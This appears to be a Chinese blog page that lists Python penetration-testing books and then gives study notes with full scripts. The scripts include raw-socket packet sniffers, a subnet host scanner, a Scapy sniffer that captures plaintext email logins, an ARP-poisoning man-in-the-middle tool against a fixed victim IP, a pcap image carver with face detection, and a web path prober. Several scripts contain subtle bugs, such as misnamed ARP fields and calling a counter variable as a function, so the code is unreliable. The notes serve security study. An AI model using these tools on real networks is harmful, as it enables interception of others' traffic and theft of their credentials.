精华内容
下载资源
问答
  • Python 渗透编程

    2018-05-19 11:20:58
    本书是python语言关于网络渗透编程方面的书籍
  • python渗透编程之道

    千次阅读 2018-05-08 15:20:04
    1、学python 2、网络知识 3、渗透知识

    1、了解python
    2、网络知识
    3、渗透知识

    第三章 网络:原始套接字和流量嗅探

    1、Windows和Linux上的包嗅探

    # _*_coding:utf-8_*_
    import socket
    import os
    
    # P41 windows和linux上的包嗅探
    # 监听的主机。受害主机
    host = "192.168.137.132"
    
    # 创建原始套接字,,然后绑定在公开接口上
    # 通过构建套接字对象对网络上的数据包嗅探进行必要到参数设置
    if os.name == "nt":
        socket_protocol = socket.IPPROTO_IP
    else:
        socket_protocol = socket.IPPROTO_ICMP
    
    sniffer = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket_protocol)
    sniffer.bind((host, 0))
    
    # windows能嗅探到所有协议的数据包,而linux只能允许嗅探到ICMP数据包
    # 使用混杂模式,在windows上需要管理员权限,linux上需要root权限
    # 设置在捕获的数据包中包含IP头
    sniffer.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)
    
    # 在windows平台上,我们需要设置IOCTL以启动混杂模式
    if os.name == "nt":
        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
    
    # 读取单个数据包
    print sniffer.recvfrom(65565)
    
    # 在windows平台上关闭混杂模式
    if os.name == "nt":
        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

    运行:
    这里写图片描述

    2、解码IP层

    # _*_coding:utf-8_*_
    # 解码IP层,将嗅探到的二进制数形式到IP头信息提取出协议类型、源IP地址和目的地址等有用的信息
    # 这个代码在linux上运行不出来,博客说在树莓派上还有windows上运行出来了
    import socket
    import os
    import struct
    from ctypes import * # 创建类似于C的结构体
    
    # 监听的主机(受害主机)
    host = "192.168.137.132"
    
    
    # IP头定义
    class IP(Structure):
        _fields_ = [
            ("ih1",         c_ubyte,4), # ip head length头长度,后面的4是比特位标志,说明字段按比特位计算
            ("version",     c_ubyte,4), # 版本号
            ("tos",         c_ubyte),   # 服务类型
            ("len",         c_ushort),  # IP数据包总长
            ("id",          c_ushort),  # 标识符
            ("offset",      c_ushort),  # 片偏移
            ("ttl",         c_ubyte),   # 生存时间
            ("protocol_num",c_ubyte),   # 协议类型,协议数字,后面有提到
            ("sum",         c_ushort),  # 校验和
            ("src",         c_ulong),   # 源IP
            ("dst",         c_ulong)    # 目的IP
        ]
    
        # __new__(cls, *args, **kwargs):创建对象时调用,返回当前对象的一个示例,第一个参数cls是class本身
        # 将原始缓冲区中到数据(从网络上获取到数据)填充到结构中
        def __new__(self, socket_buffer=None):
            return self.from_buffer_copy(socket_buffer)
    
        # __init__(self):创建完对象后调用,对当前对象的实例的一些初始化,无返回值,即在调用__new__之后,根据返回到实例初始化
        # 参数self是对象本身,在__new__那里是class本身
        # 当调用init方法时,new方法已经完成了对缓冲区中数据到处理
        # init方法对数据进行了内部处理,输出了可读性更强到协议类型和IP地址
        def __init__(self,socket_buffer=None):
            # 协议字段与协议名称对应
            self.protocol_map= {1:"ICMP",6:"TCP",7:"UDP"}
            # 可读性更强的IP地址(就是将32位的IPV4地址转换为平常看到的点分十进制形式)
            self.src_address=socket.inet_ntoa(struct.pack("<L",self.src))
            self.dst_address=socket.inet_ntoa(struct.pack("<L",self.dst))
    
            # 协议类型
            try:
                self.protocol=self.protocol_map(self.protocol_num)
            except:
                self.protocol=str(self.protocol_num)
    
    if os.name == "nt":
        socket_protocol=socket.IPPROTO_IP
    else:
        socket_protocol=socket.IPPROTO_ICMP
    
    # SOCK_RAW  套接字
    sniffer= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
    
    sniffer.bind((host,0))
    sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL,1)
    
    if os.name=="nt":
        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
    
    try:
        while True:
            # 读取数据包
            raw_buffer=sniffer.recvfrom(65565)[0]
            # 将缓冲区的前20个字节按IP头进行解析
            ip_header=IP(raw_buffer[0:20])
            # 输出协议和通信双方的IP地址
            print "Protocol: %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)
    # 处理结束键入CTRL-Z/CTRL-C
    except KeyboardInterrupt:
        # 如果运行在windows上,关闭混杂模式
        if os.name=="nt":
            sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

    3、解码ICMP层

    # _*_coding:utf-8_*_
    # 先把sniffer_ip_header_decode的代码复制过来
    
    import socket
    import os
    import struct
    from ctypes import * # 创建类似于C的结构体
    
    # 监听的主机(受害主机)
    host = "192.168.137.132"
    
    
    # IP头定义
    class IP(Structure):
        _fields_ = [
            ("ihl",         c_ubyte,4), # ip head length头长度,后面的4是比特位标志,说明字段按比特位计算
            ("version",     c_ubyte,4), # 版本号
            ("tos",         c_ubyte),   # 服务类型
            ("len",         c_ushort),  # IP数据包总长
            ("id",          c_ushort),  # 标识符
            ("offset",      c_ushort),  # 片偏移
            ("ttl",         c_ubyte),   # 生存时间
            ("protocol_num",c_ubyte),   # 协议类型,协议数字,后面有提到
            ("sum",         c_ushort),  # 校验和
            ("src",         c_ulong),   # 源IP
            ("dst",         c_ulong)    # 目的IP
        ]
    
        # __new__(cls, *args, **kwargs):创建对象时调用,返回当前对象的一个示例,第一个参数cls是class本身
        # 将原始缓冲区中到数据(从网络上获取到数据)填充到结构中
        def __new__(self, socket_buffer=None):
            return self.from_buffer_copy(socket_buffer)
    
        # __init__(self):创建完对象后调用,对当前对象的实例的一些初始化,无返回值,即在调用__new__之后,根据返回到实例初始化
        # 参数self是对象本身,在__new__那里是class本身
        # 当调用init方法时,new方法已经完成了对缓冲区中数据到处理
        # init方法对数据进行了内部处理,输出了可读性更强到协议类型和IP地址
        def __init__(self,socket_buffer=None):
            # 协议字段与协议名称对应
            self.protocol_map= {1:"ICMP",6:"TCP",7:"UDP"}
            # 可读性更强的IP地址(就是将32位的IPV4地址转换为平常看到的点分十进制形式)
            self.src_address=socket.inet_ntoa(struct.pack("<L",self.src))
            self.dst_address=socket.inet_ntoa(struct.pack("<L",self.dst))
    
            # 协议类型
            try:
                self.protocol=self.protocol_map[self.protocol_num]
            except:
                self.protocol=str(self.protocol_num)
    
    
    # ICMP头定义
    # ICMP包含到信息比较繁杂,但是每条信息都包含三个固定的字段:数据类型、代码值和校验和。
    # 数据类型和的代码值字段包含了主机接收到到ICMP信息的类别,他们揭示了正确解码ICMP信息的方法
    # 我们的目标是查找类型值为3,代码值也是3的ICMP数据包——目标不可达,代码值为3是因为目标主机产生了端口不可达的错误
    class ICMP(Structure):
        _fields_=[
            ("type",        c_ubyte),   # 类型
            ("code",        c_ubyte),   # 代码值
            ("checksum",    c_ubyte),   # 头部校验和
            ("unused",      c_ubyte),   # 没有用到
            ("next_hop_mtu",c_ubyte)    # 下一条MTU
        ]
    
        def __new__(self,socket_buffer):
            return self.from_buffer_copy(socket_buffer)
    
        def __init__(self,socket_buffer):
            pass
    
    
    if os.name == "nt":
        socket_protocol=socket.IPPROTO_IP
    else:
        socket_protocol=socket.IPPROTO_ICMP
    
    # SOCK_RAW  套接字
    sniffer= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
    
    sniffer.bind((host,0))
    sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL,1)
    
    if os.name=="nt":
        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
    
    try:
        while True:
            # 读取数据包
            raw_buffer=sniffer.recvfrom(65565)[0]
            # 将缓冲区的前20个字节按IP头进行解析
            ip_header=IP(raw_buffer[0:20])
            # 输出协议和通信双方的IP地址
            print "Protocol: %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)
    
            # 如果是ICMP数据,进行处理
            if ip_header.protocol =="ICMP":
                # 计算ICMP包的起始位置,并获取ICMP包的位置
                # IP头的长度的计算基于IP头中到ihl字段,它代表IP头中32位(4字节块)长到分片到个数
                # 所以这里将ihl的值*4,就能计算出IP头的大小以及数据中下一个网络层(这里为ICMP)开始的位置
                offset =ip_header.ihl*4
                buf=raw_buffer[offset:offset+sizeof(ICMP)]
    
                # 解析ICMP数据,将数据按照ICMP结构进行解析
                icmp_header=ICMP(buf)
    
                print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code)
    
    # 处理结束键入CTRL-Z/CTRL-C
    except KeyboardInterrupt:
        # 如果运行在windows上,关闭混杂模式
        if os.name=="nt":
            sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

    运行:在Windows上运行
    这里写图片描述

    4、子网扫描器

    对netaddr模块的应用,使用该模块可以很方便地对子网和IP地址进行操作,非常适合用于主机发现扫描器

    # _*_coding:utf-8_*_
    # windows安装模块教程 https://blog.csdn.net/alvin930403/article/details/54583903
    # 先把sniffer_ip_header_decode的代码复制过来
    # 实现发送UDP数据和获取扫描结果
    
    # 新加入到模块
    import threading
    import time
    import sys
    from netaddr import IPNetwork,IPAddress
    
    import socket
    import os
    import struct
    from ctypes import * # 创建类似于C的结构体
    
    # 监听的主机(受害主机)
    host = "192.168.137.132"
    
    # 扫描的目标子网
    # subnet = "192.168.137.0/24"
    # 可以接收用户输入的参数,如果没有输入,就默认192.168.137.0/24
    if len(sys.argv) ==1:
        subnet = "192.168.137.0/24"
    else:
        subnet = sys.argv[1]
    
    # 自定义到字符串,将在ICMP响应中进行核对
    magic_message="CHECK_FOR_ICMP!"
    
    
    # 批量发送UDP数据包
    def udp_sender(subnet,magic_message):
        time.sleep(5)
        # 建立一个socket对象SOCK_DGAM:UDP客户端
        sender =socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    
        for ip in IPNetwork(subnet):
            try:
                # 尝试发送magic_message这个消息到子网到每一个ip,使用到的端口是65212
                sender.sendto(magic_message,("%s" % ip,65212))
            except:
                pass
    
    # IP头定义
    class IP(Structure):
        _fields_ = [
            ("ihl",         c_ubyte,4), # ip head length头长度,后面的4是比特位标志,说明字段按比特位计算
            ("version",     c_ubyte,4), # 版本号
            ("tos",         c_ubyte),   # 服务类型
            ("len",         c_ushort),  # IP数据包总长
            ("id",          c_ushort),  # 标识符
            ("offset",      c_ushort),  # 片偏移
            ("ttl",         c_ubyte),   # 生存时间
            ("protocol_num",c_ubyte),   # 协议类型,协议数字,后面有提到
            ("sum",         c_ushort),  # 校验和
            ("src",         c_ulong),   # 源IP
            ("dst",         c_ulong)    # 目的IP
        ]
    
        # __new__(cls, *args, **kwargs):创建对象时调用,返回当前对象的一个示例,第一个参数cls是class本身
        # 将原始缓冲区中到数据(从网络上获取到数据)填充到结构中
        def __new__(self, socket_buffer=None):
            return self.from_buffer_copy(socket_buffer)
    
        # __init__(self):创建完对象后调用,对当前对象的实例的一些初始化,无返回值,即在调用__new__之后,根据返回到实例初始化
        # 参数self是对象本身,在__new__那里是class本身
        # 当调用init方法时,new方法已经完成了对缓冲区中数据到处理
        # init方法对数据进行了内部处理,输出了可读性更强到协议类型和IP地址
        def __init__(self,socket_buffer=None):
            # 协议字段与协议名称对应
            self.protocol_map= {1:"ICMP",6:"TCP",7:"UDP"}
            # 可读性更强的IP地址(就是将32位的IPV4地址转换为平常看到的点分十进制形式)
            self.src_address=socket.inet_ntoa(struct.pack("<L",self.src))
            self.dst_address=socket.inet_ntoa(struct.pack("<L",self.dst))
    
            # 协议类型
            try:
                self.protocol=self.protocol_map[self.protocol_num]
            except:
                self.protocol=str(self.protocol_num)
    
    
    # ICMP头定义
    # ICMP包含到信息比较繁杂,但是每条信息都包含三个固定的字段:数据类型、代码值和校验和。
    # 数据类型和的代码值字段包含了主机接收到到ICMP信息的类别,他们揭示了正确解码ICMP信息的方法
    # 我们的目标是查找类型值为3,代码值也是3的ICMP数据包——目标不可达,代码值为3是因为目标主机产生了端口不可达的错误
    class ICMP(Structure):
        _fields_=[
            ("type",        c_ubyte),   # 类型
            ("code",        c_ubyte),   # 代码值
            ("checksum",    c_ubyte),   # 头部校验和
            ("unused",      c_ubyte),   # 没有用到
            ("next_hop_mtu",c_ubyte)    # 下一条MTU
        ]
    
        def __new__(self,socket_buffer):
            return self.from_buffer_copy(socket_buffer)
    
        def __init__(self,socket_buffer):
            pass
    
    
    if os.name == "nt":
        socket_protocol=socket.IPPROTO_IP
    else:
        socket_protocol=socket.IPPROTO_ICMP
    
    # SOCK_RAW  套接字
    sniffer= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
    
    sniffer.bind((host,0))
    sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL,1)
    
    if os.name=="nt":
        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
    
    # 开启多线程发送udp数据包
    t=threading.Thread(target=udp_sender,args=(subnet,magic_message))
    t.start()
    
    try:
        while True:
            # 读取数据包
            raw_buffer=sniffer.recvfrom(65565)[0]
            # 将缓冲区的前20个字节按IP头进行解析
            ip_header=IP(raw_buffer[0:20])
            # 输出协议和通信双方的IP地址
            # print "Protocol: %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)
    
            # 如果是ICMP数据,进行处理
            if ip_header.protocol =="ICMP":
                # 计算ICMP包的起始位置,并获取ICMP包的位置
                # IP头的长度的计算基于IP头中到ihl字段,它代表IP头中32位(4字节块)长到分片到个数
                # 所以这里将ihl的值*4,就能计算出IP头的大小以及数据中下一个网络层(这里为ICMP)开始的位置
                offset =ip_header.ihl*4
                buf=raw_buffer[offset:offset+sizeof(ICMP)]
    
                # 解析ICMP数据,将数据按照ICMP结构进行解析
                icmp_header=ICMP(buf)
    
                # print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code)
    
                # 检查类型和代码是否为3
                if icmp_header.type==3 and icmp_header.code ==3:
                    # 确认响应的主机在我们扫描的子网之内
                    if IPAddress(ip_header.src_address) in IPNetwork(subnet):
                        # 确认ICMP包中包含我们发送的自定义到字符串
                        if raw_buffer[len(raw_buffer)-len(magic_message):] == magic_message:
                            print "HOST UP: %s" % ip_header.src_address
    
    # 处理结束键入CTRL-Z/CTRL-C
    except KeyboardInterrupt:
        # 如果运行在windows上,关闭混杂模式
        if os.name=="nt":
            sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

    运行:在windows上
    这里写图片描述

    第四章 Scapy:网络的掌控者

    利用Scapy嗅探和窃取Email的明文账号和密码,然后对网络上的目标主机进行ARP投毒从而监听它们的流量,还可以用Scapy的PCAP图像处理方法对HTTP流量的图像进行提取扩展,完成人脸检测以确定哪些图像上有人出现

    1、窃取Email认证

    ——实现主功能的sniff介绍

      # filter参数:允许我们对Scapy嗅探的数据制定一个wireshark类型的过滤器,也可以留空以嗅探所有的数据包
      #iface参数:设置嗅探器所要嗅探的网卡,默认是嗅探所有网卡
      #prn参数:指定嗅探到符合过滤器条件的数据包所调用的回调函数
      #count参数:指定嗅探的数据包的个数,默认是无限个
      sniff(filter="",iface="any",prn=function,count=N)

    mail_sniffer.py功能:捕获一个数据包,然后输出其中的内容

    # _*_coding:utf-8_*_
    from scapy.all import *
    
    # 数据包回调函数
    def packet_callback(packet):
        print packet.show()
    
    # 开启嗅探器
    sniff(prn=packet_callback,count=1)

    运行:这个时候*.131正在ping kali
    这里写图片描述

    设置功率器,然后输出与Email相关的认证字符串

    # _*_coding:utf-8_*_
    from scapy.all import *
    
    
    # 数据包回调函数
    def packet_callback(packet):
        if packet[TCP].payload:
            mail_packet=str(packet[TCP].payload)
            if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
                print "[*] Server: %s" % packet[IP].dst
                print "[*] %s" % packet[IP].payload
    
        # print packet.show()
    
    # 开启嗅探器
    sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback,store=0)

    用telnet访问邮件服务器:https://jingyan.baidu.com/article/6fb756ecc86d47241858fbb4.html
    这里写图片描述

    2、利用Scapy进行ARP缓存投毒

    ARP投毒的实现过程非常简单,只需要欺骗目标机器让它相信我们的攻击主机就是它的网关,在伪装成目标机器欺骗网关,这样可以达到的效果就是所有在网关以及目标机器之间的流量都会经过我们的攻击机

    #  _*_coding:utf-8_*_
    from scapy.all import *
    import os
    import sys
    import threading
    import signal
    
    interface   ="eth0" # 网卡
    target_ip   ="192.168.137.131" # 受害主机ip
    gateway_ip  ="192.168.137.2"   # 网关ip
    packet_count=1000              # 捕获的数据包的数量
    
    
    def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
        print "[*] 还原网络设置...."
        send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
        send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)
    
        # 发送退出信号到主线程
        os.kill(os.getpid(),signal.SIGINT)
    
    
    def get_mac(ip_address):
        responses,unanswered=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)
        # 返回从响应数据中获取到MAC地址
        for s,r in responses:
            return r[Ether].src
        return None
    
    
    def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
        # 构建欺骗目标主机的ARP请求,如果没有设置hwdst,默认就是本机
        poison_target=ARP()
        poison_target.op=2              # 响应报文
        poison_target.prsc=gateway_ip   # 欺骗是网关发出的
        poison_target.pdst=target_ip    # 目标主机IP
        poison_target.hwdst=target_mac  # 目标主机到物理地址
    
        # 欺骗网关的ARP请求
        poison_gateway=ARP()
        poison_gateway.op=2
        poison_gateway.prsc=target_ip   # 源IP是目标主机IP,事实上是攻击机发出的
        poison_gateway.pdst=gateway_ip  # 目的IP是网关IP
        poison_gateway.hwdst=gateway_mac# 目的MAC是网关MAC
    
        print "[*] 开始ARP毒化攻击! [CTRL-C to stop]"
    
        while True:
            try:
                send(poison_target)
                send(poison_gateway)
    
                time.sleep(2)
            except KeyboardInterrupt:
                restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
    
        print "[*] ARP毒化攻击结束."
        return
    
    
    
    conf.iface = interface # 设置嗅探的网卡
    conf.verb = 0 # 关闭输出
    
    print "[*] 设置网卡 %s" % interface
    
    gateway_mac = get_mac(gateway_ip)
    
    if gateway_mac is None:
        print "[!!!] 获取网关MAC失败.Exiting."
        sys.exit(0)
    else:
        print "[*] 网关IP: %s;  MAC:%s" % (gateway_ip,gateway_mac)
    
    target_mac = get_mac(target_ip)
    
    if target_mac is None:
        print "[!!!] 获取目标主机MAC失败.Exiting."
        sys.exit(0)
    else:
        print "[*] 目标主机IP: %s;  MAC:%s" % (target_ip,target_mac)
    
    # 启动ARP投毒线程
    poison_thread = threading.Thread(target=poison_target,args=(gateway_ip,gateway_mac,target_ip,target_mac))
    poison_thread.start()
    
    try:
        print "[*] 开始嗅探%d个数据包 " % packet_count
    
        # 设置一个BPF过滤器,仅捕获目标IP的流量,在启动嗅探器时设置了count参数使其捕获预先设定数量到数据包
        bpf_filter = "ip host %s" % target_ip
        packets=sniff(count=packet_count,filter=bpf_filter,iface=interface)
        # 将捕获到的数据包输出到文件
        wrpcap('arper1.pcap',packets)
        # 还原网络设置
        restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
    
    except KeyboardInterrupt:
        # 还原网络设置
        restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
        sys.exit(0)
    

    运行效果:
    这里写图片描述
    还捕获了数据包
    这里写图片描述

    3、处理PCAP文件

    wireshark和其他的network minter等工具能很方便直观地浏览数据包文件,但有时候可能会想要利用Python和Scapy自动地对PCAP数据进行解析和分割。
    这里所做的工作是,尝试从HTTP流量中提取图像文件,然后利用OpenCV这样的计算机图像处理工具对提取的图像进行处理,对图像中人脸的部分进行检测,这样能缩小选择的图像范围。这里利用之前的ARP毒化脚本捕获数据生成PCAP文件,对PCAP文件分析,从而达到在目标浏览网页时实时地对图像进行人脸检测

    # _*_coding:utf-8_*_
    import re
    import zlib
    import cv2
    from scapy.all import *
    
    pictures_directory="./pic/"
    faces_directory="./faces/"
    pacp_file="arper.pcap"      # 要处理的数据包
    
    
    def get_http_headers(http_payload):
        try:
            # 如果为HTTP流量,提取http头
            headers_raw=http_payload[:http_payload.index("\r\n\r\n")+2]
            # 对http头进行切分
            headers = dict(re.findall(r"(?P<name>.*?):(?P<value>.*?)\r\n",headers_raw))
        except:
            return None
    
        if "Content-Type" not in headers:
            return None
    
        return headers
    
    
    def extract_image(headers,http_payload):
        image=None
        image_type=None
    
        try:
            if "image" in headers['Content-Type']:
                # 获取图像类型和数据
                image_type=headers['Content-Type'].split("/")[1]
                image=http_payload[http_payload.index("\r\n\r\n")+4:]
                # 如果数据进行了压缩则解压
                try:
                    if "Content-Encoding" in headers.keys():
                        image=zlib.decompress(image,16+zlib.MAX_WBITS)
                    elif headers['Content-Encoding'] == "deflate":
                        image=zlib.decompress(image)
                except:
                    pass
        except:
            return None,None
    
        return image,image_type
    
    
    def face_detect(path,file_name):
        # 读取图像
        img=cv2.imread(path)
        # 对图像进行分类算法检测,这种算法被训练成可以对人脸的正面进行检测
        cascade=cv2.CascadeClassifier("haarcascade_frontalface_alt.xml")
        rects=cascade.detectMultiScale(img,1.3,4,cv2.cv.CV_HAAR_SCALE_IMAGE,(20,20))
    
        if len(rects)==0:
            return False
    
        rects[:,2:]+=rects[:,:2]
    
        # 对图像中的人脸进行高亮的显示处理
        for x1,y1,x2,y2 in rects:
            cv2.rectangle(img,(x1,y1),(x2,y2),(127,255,0),2)
        # 将结果图像写入文件
        cv2.imwrite("%s/%s-%s" % (faces_directory,pacp_file,file_name),img)
    
    
    def http_assembler(pacp_file):
        carved_images=0
        faces_detected=0
    
        # 打开需要处理的PCAP文件
        a=rdpcap(pacp_file)
        # 利用Scapy的高级特性自动地对TCP中的会话进行分割并保存到一个字典中
        sessions=a.sessions()
    
        for session in sessions:
            http_payload=""
            for packet in sessions[session]:
                try:
                    if packet[TCP].dport==80 or packet[TCP].sport==80:
                        # 对数据组包
                        # 过滤非HTTP的其他流量,然后将HTTP会话的负载内容拼接到一个单独的缓冲区中
                        # 这一步的操作与wireshark选择Follow Stream选项的效果一样
                        http_payload += str(packet[TCP].payload)
                except:
                    pass
    
        # 将缓冲区的内容作为参数调用之前编写的HTTP头分割函数,它允许我们单独处理HTTP头中的内容
            headers=get_http_headers(http_payload)
    
            if headers is None:
                continue
            # 当我们确认在HTTP的响应数据中包含图像内容时,我们提取图像的原始数据
            # 返回图像类型和图像的二进制流
            image,image_type=extract_image(headers,http_payload)
            if image is not None and image_type is not None:
                # 存储图像
                file_name="%s-pic_carver_%d.%s" % (pacp_file,carved_images,image_type)
                fd=open("%s/%s" % (pictures_directory,file_name),"wb")
    
                fd.write(image)
                fd.close()
    
                carved_images +=1
    
                # 开始人脸识别
                try:
                    result = faces_detected("%s/%s" % (pictures_directory,file_name),file_name)
                    if result is True:
                        faces_detected += 1
                except:
                    pass
    
        return carved_images,faces_detected
    
    carved_images,faces_detected=http_assembler(pacp_file)
    
    print "Extracted: % images" % carved_images
    print "Detected: %d faces" % faces_detected

    好奇怪,运行成功了,就是没有找到人脸图片,但是我的包是浏览百度图片的时候抓的啊!
    这里写图片描述

    第五章 web攻击

    1、web的套接字函数库:urllib2

    # 这是一个简单的向web页面发送一个GET请求的例子,取得的是百度网站的原始页面,仅仅用到了urlopen函数,然后对返回的以一个类文件对象进行输出
    # _*_coding:utf-8_*_
    import urllib2
    body = urllib2.urlopen("http://www.baidu.com")
    print body.read()

    运行:
    这里写图片描述

    # 本代码的目的是了解如何使用Request类创建同样的GET请求
    # _*_coding:utf-8_*_
    import urllib2
    url="http://www.baidu.com"
    
    # 为了创建常用的HTTP头,这里定义了一个头HTTP字典,这个字典允许我设置所需要的HTTP头中的键值
    headers={}
    # Googlebot是Google公司到web网页爬虫
    headers["User-Agent"]="Googlebot"
    
    # 创建一个request对象,传入url和HTTP头字典 
    request=urllib2.Request(url,headers=headers)
    # 将对象传递给urlopen函数来调用,返回的是一个类文件的对象,包含从远程得来的数据
    response=urllib2.urlopen(request)
    
    print response.read()
    response.close()

    2、开发web应用安装

    Queue:写多线程基本都会用这个东西,因为线程安全。这一节作者用 Queue 来存储要爬取的 url,然后开启多线程,每个线程都是从 Queue 里面拿 url。

    # _*_coding:utf-8_*_
    import Queue
    import threading
    import os
    import urllib2
    
    thread=10
    
    target="http://172.26.145.191/joomla"
    directory="./joomla/"
    filters=[".jpg",".gif",".png",".css"]
    
    os.chdir(directory)
    web_paths=Queue.Queue()
    
    # os.walk函数遍历本地web应用目录下的所有文件和目录
    # root 所指的是当前正在遍历的这个文件夹的本身的地址
    # dirs 是一个 list ,内容是该文件夹中所有的目录的名字(不包括子目录)
    # files 同样是 list , 内容是该文件夹中所有的文件(不包括子目录)
    for r,d,f in os.walk("."):
        for files in f:
            remote_path="%s%s" % (r,files)
            # 去掉一点
            if remote_path.startswith("."):
                remote_path=remote_path[1:]
            # 对于我们们需要的合法文件都添加存储起来
            if os.path.splitext(files)[1] not in filters:
                web_paths.put(remote_path)
    
    
    def test_remote():
        while not web_paths.empty():
            path=web_paths.get()
            url="%s%s" % (target,path)
    
            request=urllib2.Request(url)
    
            try:
                response=urllib2.urlopen(request)
                content=response.read()
    
                print "[%d] => %s" % (response.code,path)
                response.close()
            except urllib2.HTTPError as error:
                # print "Failed %s" % error.code
                pass
    
    for i in range(thread):
        print "Spawning thread %d" % i
        t=threading.Thread(target=test_remote)
        t.start()

    这里写图片描述
    然后运行程序的时候就全报出404错误,是为什么?我还有其他安装步骤没做吗?【在物理机上安装的joomla,然后再虚拟机上访问】

    展开全文
  • Python渗透测试编程技术

    Python渗透测试编程技术

    在这里插入图片描述

    展开全文
  • Python渗透测试编程技术 方法与实践出版时间: 2018内容简介本书由资深网络安全教师撰写,书中系统并深入地将Python应用实例与网络安全相结合进行讲解,不仅讲述了Python的实际应用方法,而且从网络安全原理的角度...

    Python渗透测试编程技术 方法与实践

    出版时间: 2018

    内容简介

    本书由资深网络安全教师撰写,书中系统并深入地将Python应用实例与网络安全相结合进行讲解,不仅讲述了Python的实际应用方法,而且从网络安全原理的角度分析了Python实现网络安全编程的技术,真正做到理论与实践相结合。 全书共分为15章。章介绍网络安全渗透测试的相关理论。第2章介绍Kali Linux 2使用基础。第3章介绍Python语言基础。第4章介绍安全渗透测试中的常见模块。第5章介绍使用Python实现信息收集。第6章和第7章介绍使用Python对漏洞进行渗透。第8章介绍使用Python实现网络的嗅探与监听。第9章介绍使用Python实现拒绝服务攻击。0章介绍使用Python实现身份认证攻击。1章介绍使用Python编写远程控制工具。2章和3章介绍使用Python完成无线网络渗透。4章介绍使用Python对Web应用进行渗透测试。5章介绍使用Python生成渗透测试报告。 本书适合网络安全渗透测试人员、运维工程师、网络管理人员、网络安全设备设计人员、网络安全软件开发人员、安全课程培训学员、高校网络安全专业方向的学生阅读。

    目录

    第1章 网络安全渗透测试

    1.1 网络安全渗透测试简介

    1.2 开展网络安全渗透测试

    1.2.1 前期与客户的交流阶段

    1.2.2 情报的收集阶段

    1.2.3 威胁建模阶段

    1.2.4 漏洞分析阶段

    1.2.5 漏洞利用阶段

    1.2.6 后渗透攻击阶段

    1.2.7 报告阶段

    1.3 网络安全渗透测试需要掌握的技能

    小结

    第2章 Kali Linux 2使用基础

    2.1 Kali Linux 2介绍

    2.2 Kali Linux 2安装

    2.2.1 将Kali Linux 2安装在硬盘中

    2.2.2 在VMware虚拟机中安装Kali Linux 2

    2.2.3 在加密U盘中安装Kali IAnux 2

    2.3 Kali Linux 2的常用操作

    2.3.1 修改默认用户

    2.3.2 对Kali Linux 2的网络进行配置

    2.3.3 在Kali Linux 2中安装第三方程序

    2.3.4 对Kali Linux 2网络进行SSH远程控制

    2.3.5 Kali Linux2的更新操作

    2.4 VMware的高级操作

    2.4.1 在VMware中安装其他操作系统

    2.4.2 VMware中的网络连接

    2.4.3 VMware中的快照与克隆功能

    小结

    第3章 Python语言基础

    3.1 Python语言基础

    ……

    第4章 安全渗透测试的常见模块

    第5章 情报收集

    第6章 漏洞渗透模块的编写

    第7章 对漏洞进行渗透(高级部分)

    第8章 网络嗅探与欺骗

    第9章 拒绝服务攻击

    第10章 身份认证攻击

    第11章 远程控制工具

    第12章 无线网络渗透(基础部分)

    第13章 无线网络渗透(高级部分)

    第14章 对Web应用进行渗透测试

    第15章 生成渗透测试报告

    展开全文
  • python渗透测试编程

    2020-03-27 18:48:40
    Web渗透测试 1.常见的状态代码 200 Successful request:请求已成功,请求所希望的响应头或数据体将随此响应返回。 201 Request was newly c:请求已经被实现,而且有一个新的资源已经依据请求的需要二建立,且URI...

    一、SOCKET

    socket(family,type)

    1. family,指使用的地址族,常用AF_INET、AF_INET6、AF_LOCAL、AF_ROUTE等。
    2. type,指明socket的类型。 TCP:SOCK_STREAM; UDP:SOCK_DGRAM; 原始类型:SOCK_RAW.

    eg:s=socket.socket() 等于 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

     

    bind():服务端SOCKET调用,将与对应端口和IP地址绑定。 s.bind(('127.0.0.1',2345))

    listen():服务端开启监听,参数是最大连接数量。 s.listen(5)

    accept():服务端接收客户端的连接,并返回(conn,address) conn是新的套接字对象,address是连接客户端地址。

    connect():客户端连接到服务器端 s.connect(("192.168.0.1",2345))

    send():客户端发送数据 s.send(string)

    recv():用于客户端接收数据,参数是接收的最大字节数 s.recv(1024)

     

    二、python-nmap

    PortScanner:端口扫描

    PortScannerAsync:异步进行端口扫描

    PortScannerError:nmap的异常错误类

    PortScannerHostDict:用于存储和访问主机扫描结果的特殊小类

    PortScannerYield:通过生成器使用Python中的nmap

    PortScanner类

